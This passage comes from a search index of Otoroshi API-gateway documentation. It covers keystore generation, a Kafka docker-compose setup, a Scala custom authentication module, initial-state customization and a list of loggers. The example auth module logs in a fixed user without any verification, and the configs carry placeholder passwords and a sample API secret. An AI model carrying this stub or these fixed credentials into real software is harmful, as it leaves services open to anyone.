change. As such, make the CN\"\necho \" the FQDN. Some operating systems call the CN prompt 'first / last name'\"\necho \" - A key password, for the key being generated within the keystore. Remember this.\"\n\n# To learn more about CNs and FQDNs, read:\n# https://docs.oracle.com/javase/7/docs/api/javax/net/ssl/X509ExtendedTrustManager.html\n\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME \\\n -alias localhost -validity $VALIDITY_IN_DAYS -genkey -keyalg RSA\n\necho\necho \"'$KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME' now contains a key pair and a\"\necho \"self-signed certificate. Again, this keystore can only be used for one broker or\"\necho \"one logical client. Other brokers or clients need to generate their own keystores.\"\n\necho\necho \"Fetching the certificate from the trust store and storing in $CA_CERT_FILE.\"\necho\necho \"You will be prompted for the trust store's password (labeled 'keystore')\"\n\nkeytool -keystore $trust_store_file -export -alias CARoot -rfc -file $CA_CERT_FILE\n\necho\necho \"Now a certificate signing request will be made to the keystore.\"\necho\necho \"You will be prompted for the keystore's password.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost \\\n -certreq -file $KEYSTORE_SIGN_REQUEST\n\necho\necho \"Now the trust store's private key (CA) will sign the keystore's certificate.\"\necho\necho \"You will be prompted for the trust store's private key password.\"\nopenssl x509 -req -CA $CA_CERT_FILE -CAkey $trust_store_private_key_file \\\n -in $KEYSTORE_SIGN_REQUEST -out $KEYSTORE_SIGNED_CERT \\\n -days $VALIDITY_IN_DAYS -CAcreateserial\n# creates $KEYSTORE_SIGN_REQUEST_SRL which is never used or needed.\n\necho\necho \"Now the CA will be imported into the keystore.\"\necho\necho \"You will be prompted for the keystore's password and a confirmation that you want to\"\necho \"import the certificate.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias CARoot \\\n -import -file $CA_CERT_FILE\nrm $CA_CERT_FILE # delete the trust store cert because it's stored in the trust store.\n\necho\necho \"Now the keystore's signed certificate will be imported back into the keystore.\"\necho\necho \"You will be prompted for the keystore's password.\"\nkeytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost -import \\\n -file $KEYSTORE_SIGNED_CERT\n\necho\necho \"All done!\"\necho\necho \"Delete intermediate files? They are:\"\necho \" - '$KEYSTORE_SIGN_REQUEST_SRL': CA serial number\"\necho \" - '$KEYSTORE_SIGN_REQUEST': the keystore's certificate signing request\"\necho \" (that was fulfilled)\"\necho \" - '$KEYSTORE_SIGNED_CERT': the keystore's certificate, signed by the CA, and stored back\"\necho \" into the keystore\"\necho -n \"Delete? [yn] \"\nread delete_intermediate_files\n\nif [ \"$delete_intermediate_files\" == \"y\" ]; then\n rm $KEYSTORE_SIGN_REQUEST_SRL\n rm $KEYSTORE_SIGN_REQUEST\n rm $KEYSTORE_SIGNED_CERT\nfi\n````\n\nCreate, in the same repository, a repository named `secrets` with the following configuration.\n\n````bash \n# Content of ~/tmp/kafka/secrets/kafka_server_jaas.conf\n\nClient {\n org.apache.kafka.common.security.plain.PlainLoginModule required\n username=\"user\"\n password=\"password\";\n};\n````\n\nCreate a `docker-compose.yml` file with the following content.\n\n````bash\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"bitnami/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n\n kafka:\n image: bitnami/kafka:latest\n depends_on:\n - zookeeper\n ports:\n - '9092:9092'\n environment:\n ALLOW_PLAINTEXT_LISTENER: 'yes'\n KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'\n KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'\n KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'\n KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'\n KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'\n KAFKA_CLIENT_USERS: 'user'\n KAFKA_CLIENT_PASSWORDS: 'password'\n KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'\n KAFKA_TLS_TYPE: 'JKS'\n KAFKA_OPTS: \"-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf\"\n volumes:\n - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf\n - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro\n - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro\n````\n\nAt this point, your repository should be \n````\n/tmp/kafka\n | generate.sh\n | docker-compose.yml\n | truststore\n | kafka.truststore.jks\n | keystore \n | kafka.keystore.jks\n | secrets \n | kafka_server_jaas.conf\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n" + }, + { + "name": "create-custom-auth-module.md", + "id": "/how-to-s/create-custom-auth-module.md", + "url": "/how-to-s/create-custom-auth-module.html", + "title": "Create your Authentication module", + "content": "# Create your Authentication module\n\nAuthentication modules can be used to protect routes. In some cases, you need to create your own custom authentication module to create a new one or simply inherit and extend an exiting module.\n\nYou can write your own authentication using your favorite IDE. Just create an SBT project with the following dependencies. It can be quite handy to manage the source code like any other piece of code, and it avoid the compilation time for the script at Otoroshi startup.\n\n```scala\nlazy val root = (project in file(\".\")).\n settings(\n inThisBuild(List(\n organization := \"com.example\",\n scalaVersion := \"2.12.7\",\n version := \"0.1.0-SNAPSHOT\"\n )),\n name := \"my-custom-auth-module\",\n libraryDependencies += \"fr.maif\" %% \"otoroshi\" % \"1x.x.x\"\n )\n```\n\nJust below, you can find an example of Custom Auth. module. \n\n```scala\npackage auth.custom\n\nimport akka.http.scaladsl.util.FastFuture\nimport otoroshi.auth.{AuthModule, AuthModuleConfig, Form, SessionCookieValues}\nimport otoroshi.controllers.routes\nimport otoroshi.env.Env\nimport otoroshi.models._\nimport otoroshi.security.IdGenerator\nimport otoroshi.utils.JsonPathValidator\nimport otoroshi.utils.syntax.implicits.BetterSyntax\nimport play.api.http.MimeTypes\nimport play.api.libs.json._\nimport play.api.mvc._\n\nimport scala.concurrent.{ExecutionContext, Future}\nimport scala.util.{Failure, Success, Try}\n\ncase class CustomModuleConfig(\n id: String,\n name: String,\n desc: String,\n clientSideSessionEnabled: Boolean,\n sessionMaxAge: Int = 86400,\n userValidators: Seq[JsonPathValidator] = Seq.empty,\n tags: Seq[String],\n metadata: Map[String, String],\n sessionCookieValues: SessionCookieValues,\n location: otoroshi.models.EntityLocation = otoroshi.models.EntityLocation(),\n form: Option[Form] = None,\n foo: String = \"bar\"\n ) extends AuthModuleConfig {\n def `type`: String = \"custom\"\n def humanName: String = \"Custom Authentication\"\n\n override def authModule(config: GlobalConfig): AuthModule = CustomAuthModule(this)\n override def withLocation(location: EntityLocation): AuthModuleConfig = copy(location = location)\n\n lazy val format = new Format[CustomModuleConfig] {\n override def writes(o: CustomModuleConfig): JsValue = o.asJson\n\n override def reads(json: JsValue): JsResult[CustomModuleConfig] = Try {\n CustomModuleConfig(\n location = otoroshi.models.EntityLocation.readFromKey(json),\n id = (json \\ \"id\").as[String],\n name = (json \\ \"name\").as[String],\n desc = (json \\ \"desc\").asOpt[String].getOrElse(\"--\"),\n clientSideSessionEnabled = (json \\ \"clientSideSessionEnabled\").asOpt[Boolean].getOrElse(true),\n sessionMaxAge = (json \\ \"sessionMaxAge\").asOpt[Int].getOrElse(86400),\n metadata = (json \\ \"metadata\").asOpt[Map[String, String]].getOrElse(Map.empty),\n tags = (json \\ \"tags\").asOpt[Seq[String]].getOrElse(Seq.empty[String]),\n sessionCookieValues =\n (json \\ \"sessionCookieValues\").asOpt(SessionCookieValues.fmt).getOrElse(SessionCookieValues()),\n userValidators = (json \\ \"userValidators\")\n .asOpt[Seq[JsValue]]\n .map(_.flatMap(v => JsonPathValidator.format.reads(v).asOpt))\n .getOrElse(Seq.empty),\n form = (json \\ \"form\").asOpt[JsValue].flatMap(json => Form._fmt.reads(json) match {\n case JsSuccess(value, _) => Some(value)\n case JsError(_) => None\n }),\n foo = (json \\ \"foo\").asOpt[String].getOrElse(\"bar\")\n )\n } match {\n case Failure(exception) => JsError(exception.getMessage)\n case Success(value) => JsSuccess(value)\n }\n }.asInstanceOf[Format[AuthModuleConfig]]\n\n override def _fmt()(implicit env: Env): Format[AuthModuleConfig] = format\n\n override def asJson =\n location.jsonWithKey ++ Json.obj(\n \"type\" -> \"custom\",\n \"id\" -> this.id,\n \"name\" -> this.name,\n \"desc\" -> this.desc,\n \"clientSideSessionEnabled\" -> this.clientSideSessionEnabled,\n \"sessionMaxAge\" -> this.sessionMaxAge,\n \"metadata\" -> this.metadata,\n \"tags\" -> JsArray(tags.map(JsString.apply)),\n \"sessionCookieValues\" -> SessionCookieValues.fmt.writes(this.sessionCookieValues),\n \"userValidators\" -> JsArray(userValidators.map(_.json)),\n \"form\" -> this.form.map(Form._fmt.writes),\n \"foo\" -> foo\n )\n\n def save()(implicit ec: ExecutionContext, env: Env): Future[Boolean] = env.datastores.authConfigsDataStore.set(this)\n\n override def cookieSuffix(desc: ServiceDescriptor) = s\"custom-auth-$id\"\n def theDescription: String = desc\n def theMetadata: Map[String, String] = metadata\n def theName: String = name\n def theTags: Seq[String] = tags\n}\n\nobject CustomAuthModule {\n def defaultConfig = CustomModuleConfig(\n id = IdGenerator.namedId(\"auth_mod\", IdGenerator.uuid),\n name = \"My custom auth. module\",\n desc = \"My custom auth. module\",\n tags = Seq.empty,\n metadata = Map.empty,\n sessionCookieValues = SessionCookieValues(),\n clientSideSessionEnabled = true,\n form = None)\n}\n\ncase class CustomAuthModule(authConfig: CustomModuleConfig) extends AuthModule {\n def this() = this(CustomAuthModule.defaultConfig)\n\n override def paLoginPage(request: RequestHeader, config: GlobalConfig, descriptor: ServiceDescriptor, isRoute: Boolean)\n (implicit ec: ExecutionContext, env: Env): Future[Result] = {\n val redirect = request.getQueryString(\"redirect\")\n val hash = env.sign(s\"${authConfig.id}:::${descriptor.id}\")\n env.datastores.authConfigsDataStore.generateLoginToken().flatMap { token =>\n Results\n .Ok(auth.custom.views.html.login(s\"/privateapps/generic/callback?desc=${descriptor.id}&hash=$hash&route=${isRoute}\", token))\n .as(MimeTypes.HTML)\n .addingToSession(\n \"ref\" -> authConfig.id,\n s\"pa-redirect-after-login-${authConfig.cookieSuffix(descriptor)}\" -> redirect.getOrElse(\n routes.PrivateAppsController.home.absoluteURL(env.exposedRootSchemeIsHttps)(request)\n )\n )(request)\n .future\n }\n }\n\n override def paLogout(request: RequestHeader, user: Option[PrivateAppsUser], config: GlobalConfig, descriptor: ServiceDescriptor)\n (implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = FastFuture.successful(Right(None))\n\n override def paCallback(request: Request[AnyContent], config: GlobalConfig, descriptor: ServiceDescriptor)\n (implicit ec: ExecutionContext, env: Env): Future[Either[String, PrivateAppsUser]] = {\n PrivateAppsUser(\n randomId = IdGenerator.token(64),\n name = \"foo\",\n email = s\"foo@oto.tools\",\n profile = Json.obj(\n \"name\" -> \"foo\",\n \"email\" -> s\"foo@oto.tools\"\n ),\n realm = authConfig.cookieSuffix(descriptor),\n otoroshiData = None,\n authConfigId = authConfig.id,\n tags = Seq.empty,\n metadata = Map.empty,\n location = authConfig.location\n )\n .validate(authConfig.userValidators)\n .vfuture\n }\n\n override def boLoginPage(request: RequestHeader, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Result] = ???\n\n override def boLogout(request: RequestHeader, user: BackOfficeUser, config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[Result, Option[String]]] = ???\n\n override def boCallback(request: Request[AnyContent], config: GlobalConfig)(implicit ec: ExecutionContext, env: Env): Future[Either[String, BackOfficeUser]] = ???\n}\n```\n\nThis custom Auth. module inherits from AuthModule (the Auth module have to inherit from the AuthModule trait to be found by Otoroshi). It exposes a simple UI to login, and create an user for each callback request without any verification. Methods starting with bo will be called in case that the auth. module is used on the back office and in other cases, the pa methods (pa for Private App) will be called to protect a route.\n\nThis custom Auth. module uses a [Play template](https://www.playframework.com/documentation/2.8.x/ScalaTemplates) to display the login page. It's not required by Otoroshi but it's a easy way to create a login form.\n\n```html \n@import otoroshi.env.Env\n\n@(action: String, token: String)\n\n
\n

Login page

\n\n
\n \n \n Login\n \n \n
\n```\n\nYour hierarchy files should be something like:\n\n```\nauth\n| custom\n |customModule.scala\n | views\n | login.scala.html\n```\n\nWhen your code is ready, create a jar file \n\n```\nsbt package\n```\n\nand add the jar file to the Otoroshi classpath\n\n```sh\njava -cp \"/path/to/customModule.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nthen, in the authentication modules, you can chose your custom module in the list." + }, + { + "name": "custom-initial-state.md", + "id": "/how-to-s/custom-initial-state.md", + "url": "/how-to-s/custom-initial-state.html", + "title": "Initial state customization", + "content": "# Initial state customization\n\nwhen you start otoroshi for the first time, some basic entities will be created and stored in the datastore in order to make your instance work properly. However it might not be enough for your use case but you do want to bother with restoring a complete otoroshi export.\n\nIn order to make state customization easy, otoroshi provides the config. key `otoroshi.initialCustomization`, overriden by the env. variable `OTOROSHI_INITIAL_CUSTOMIZATION`\n\nThe expected structure is the following :\n\n```javascript\n{\n \"config\": { ... },\n \"admins\": [],\n \"simpleAdmins\": [],\n \"serviceGroups\": [],\n \"apiKeys\": [],\n \"serviceDescriptors\": [],\n \"errorTemplates\": [],\n \"jwtVerifiers\": [],\n \"authConfigs\": [],\n \"certificates\": [],\n \"clientValidators\": [],\n \"scripts\": [],\n \"tcpServices\": [],\n \"dataExporters\": [],\n \"tenants\": [],\n \"teams\": []\n}\n```\n\nin this structure, everything is optional. For every array property, items will be added to the datastore. For the global config. object, you can just add the parts that you need, and they will be merged with the existing config. object of the datastore.\n\n## Customize the global config.\n\nfor instance, if you want to customize the behavior of the TLS termination, you can use the following :\n\n```sh\nexport OTOROSHI_INITIAL_CUSTOMIZATION='{\"config\":{\"tlsSettings\":{\"defaultDomain\":\"www.foo.bar\",\"randomIfNotFound\":false}}'\n```\n\n## Customize entities\n\nif you want to add apikeys at first boot \n\n```sh\nexport OTOROSHI_INITIAL_CUSTOMIZATION='{\"apikeys\":[{\"_loc\":{\"tenant\":\"default\",\"teams\":[\"default\"]},\"clientId\":\"ksVlQ2KlZm0CnDfP\",\"clientSecret\":\"usZYbE1iwSsbpKY45W8kdbZySj1M5CWvFXe0sPbZ0glw6JalMsgorDvSBdr2ZVBk\",\"clientName\":\"awesome-apikey\",\"description\":\"the awesome apikey\",\"authorizedGroup\":\"default\",\"authorizedEntities\":[\"group_default\"],\"enabled\":true,\"readOnly\":false,\"allowClientIdOnly\":false,\"throttlingQuota\":10000000,\"dailyQuota\":10000000,\"monthlyQuota\":10000000,\"constrainedServicesOnly\":false,\"restrictions\":{\"enabled\":false,\"allowLast\":true,\"allowed\":[],\"forbidden\":[],\"notFound\":[]},\"rotation\":{\"enabled\":false,\"rotationEvery\":744,\"gracePeriod\":168,\"nextSecret\":null},\"validUntil\":null,\"tags\":[],\"metadata\":{}}]}'\n```\n" + }, + { + "name": "custom-log-levels.md", + "id": "/how-to-s/custom-log-levels.md", + "url": "/how-to-s/custom-log-levels.html", + "title": "Log levels customization", + "content": "# Log levels customization\n\nIf you want to customize the log level of your otoroshi instances, it's pretty easy to do it using environment variables or configuration file.\n\n## Customize log level for one logger with configuration file\n\nLet say you want to see `DEBUG` messages from the logger `otoroshi-http-handler`.\n\nThen you just have to declare in your otoroshi configuration file\n\n```\notoroshi.loggers {\n ...\n otoroshi-http-handler = \"DEBUG\"\n ...\n}\n```\n\npossible levels are `TRACE`, `DEBUG`, `INFO`, `WARN`, `ERROR`, `OFF`. Default one is `WARN`.\n\n## Customize log level for one logger with environment variable\n\nLet say you want to see `DEBUG` messages from the logger `otoroshi-http-handler`.\n\nThen you just have to declare an environment variable named `OTOROSHI_LOGGERS_OTOROSHI_HTTP_HANDLER` with value `DEBUG`. The rule is\n\n```scala\n\"OTOROSHI_LOGGERS_\" + loggerName.toUpperCase().replace(\"-\", \"_\")\n```\n\npossible levels are `TRACE`, `DEBUG`, `INFO`, `WARN`, `ERROR`, `OFF`. Default one is `WARN`.\n\n## List of loggers\n\n- [`otoroshi-error-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-error-handler%22%29)\n- [`otoroshi-http-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler%22%29)\n- [`otoroshi-http-handler-debug`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler-debug%22%29)\n- [`otoroshi-websocket-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket-handler%22%29)\n- [`otoroshi-websocket`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket%22%29)\n- [`otoroshi-websocket-handler-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-websocket-handler-actor%22%29)\n- [`otoroshi-snowmonkey`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snowmonkey%22%29)\n- [`otoroshi-circuit-breaker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-circuit-breaker%22%29)\n- [`otoroshi-circuit-breaker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-circuit-breaker%22%29)\n- [`otoroshi-worker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-worker%22%29)\n- [`otoroshi-http-handler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-handler%22%29)\n- [`otoroshi-auth-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-controller%22%29)\n- [`otoroshi-swagger-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-swagger-controller%22%29)\n- [`otoroshi-u2f-controller`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-u2f-controller%22%29)\n- [`otoroshi-backoffice-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-backoffice-api%22%29)\n- [`otoroshi-health-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-health-api%22%29)\n- [`otoroshi-stats-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-stats-api%22%29)\n- [`otoroshi-admin-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-admin-api%22%29)\n- [`otoroshi-auth-modules-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-modules-api%22%29)\n- [`otoroshi-certificates-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificates-api%22%29)\n- [`otoroshi-pki`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-pki%22%29)\n- [`otoroshi-scripts-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-scripts-api%22%29)\n- [`otoroshi-analytics-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-api%22%29)\n- [`otoroshi-import-export-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-import-export-api%22%29)\n- [`otoroshi-templates-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-templates-api%22%29)\n- [`otoroshi-teams-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-teams-api%22%29)\n- [`otoroshi-events-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-events-api%22%29)\n- [`otoroshi-canary-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-canary-api%22%29)\n- [`otoroshi-data-exporter-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-api%22%29)\n- [`otoroshi-services-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-services-api%22%29)\n- [`otoroshi-tcp-service-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-service-api%22%29)\n- [`otoroshi-tenants-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tenants-api%22%29)\n- [`otoroshi-global-config-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-config-api%22%29)\n- [`otoroshi-apikeys-fs-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-fs-api%22%29)\n- [`otoroshi-apikeys-fg-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-fg-api%22%29)\n- [`otoroshi-apikeys-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-api%22%29)\n- [`otoroshi-statsd-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-statsd-actor%22%29)\n- [`otoroshi-snow-monkey-api`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snow-monkey-api%22%29)\n- [`otoroshi-jobs-eventstore-checker`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jobs-eventstore-checker%22%29)\n- [`otoroshi-initials-certs-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-initials-certs-job%22%29)\n- [`otoroshi-alert-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alert-actor%22%29)\n- [`otoroshi-alert-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alert-actor-supervizer%22%29)\n- [`otoroshi-alerts`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-alerts%22%29)\n- [`otoroshi-apikeys-secrets-rotation-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-secrets-rotation-job%22%29)\n- [`otoroshi-loader`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-loader%22%29)\n- [`otoroshi-api-action`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-api-action%22%29)\n- [`otoroshi-api-action`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-api-action%22%29)\n- [`otoroshi-analytics-writes-elastic`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-writes-elastic%22%29)\n- [`otoroshi-analytics-reads-elastic`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-reads-elastic%22%29)\n- [`otoroshi-events-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-events-actor-supervizer%22%29)\n- [`otoroshi-data-exporter`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter%22%29)\n- [`otoroshi-data-exporter-update-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-update-job%22%29)\n- [`otoroshi-kafka-wrapper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-kafka-wrapper%22%29)\n- [`otoroshi-kafka-connector`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-kafka-connector%22%29)\n- [`otoroshi-analytics-webhook`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-webhook%22%29)\n- [`otoroshi-jobs-software-updates`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jobs-software-updates%22%29)\n- [`otoroshi-analytics-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-actor%22%29)\n- [`otoroshi-analytics-actor-supervizer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-actor-supervizer%22%29)\n- [`otoroshi-analytics-event`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-analytics-event%22%29)\n- [`otoroshi-env`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-env%22%29)\n- [`otoroshi-script-compiler`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script-compiler%22%29)\n- [`otoroshi-script-manager`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script-manager%22%29)\n- [`otoroshi-script`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-script%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-tcp-proxy`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-tcp-proxy%22%29)\n- [`otoroshi-custom-timeouts`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-custom-timeouts%22%29)\n- [`otoroshi-client-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-client-config%22%29)\n- [`otoroshi-canary`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-canary%22%29)\n- [`otoroshi-redirection-settings`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redirection-settings%22%29)\n- [`otoroshi-service-descriptor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-descriptor%22%29)\n- [`otoroshi-service-descriptor-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-descriptor-datastore%22%29)\n- [`otoroshi-console-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-console-mailer%22%29)\n- [`otoroshi-mailgun-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-mailgun-mailer%22%29)\n- [`otoroshi-mailjet-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-mailjet-mailer%22%29)\n- [`otoroshi-sendgrid-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-sendgrid-mailer%22%29)\n- [`otoroshi-generic-mailer`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-generic-mailer%22%29)\n- [`otoroshi-clevercloud-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-clevercloud-client%22%29)\n- [`otoroshi-metrics`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-metrics%22%29)\n- [`otoroshi-gzip-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-gzip-config%22%29)\n- [`otoroshi-regex-pool`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-regex-pool%22%29)\n- [`otoroshi-ws-client-chooser`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ws-client-chooser%22%29)\n- [`otoroshi-akka-ws-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-akka-ws-client%22%29)\n- [`otoroshi-http-implicits`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-http-implicits%22%29)\n- [`otoroshi-service-group`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-group%22%29)\n- [`otoroshi-data-exporter-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-config%22%29)\n- [`otoroshi-data-exporter-config-migration-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-data-exporter-config-migration-job%22%29)\n- [`otoroshi-lets-encrypt-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-lets-encrypt-helper%22%29)\n- [`otoroshi-apkikey`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apkikey%22%29)\n- [`otoroshi-error-template`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-error-template%22%29)\n- [`otoroshi-job-manager`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-job-manager%22%29)\n- [`otoroshi-plugins-internal-eventlistener-actor`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-internal-eventlistener-actor%22%29)\n- [`otoroshi-global-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-config%22%29)\n- [`otoroshi-jwks`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jwks%22%29)\n- [`otoroshi-jwt-verifier`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-jwt-verifier%22%29)\n- [`otoroshi-global-jwt-verifier`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-jwt-verifier%22%29)\n- [`otoroshi-snowmonkey-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-snowmonkey-config%22%29)\n- [`otoroshi-webauthn-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-webauthn-admin-datastore%22%29)\n- [`otoroshi-webauthn-admin-datastore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-webauthn-admin-datastore%22%29)\n- [`otoroshi-service-datatstore`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-service-datatstore%22%29)\n- [`otoroshi-cassandra-datastores`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cassandra-datastores%22%29)\n- [`otoroshi-redis-like-store`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-redis-like-store%22%29)\n- 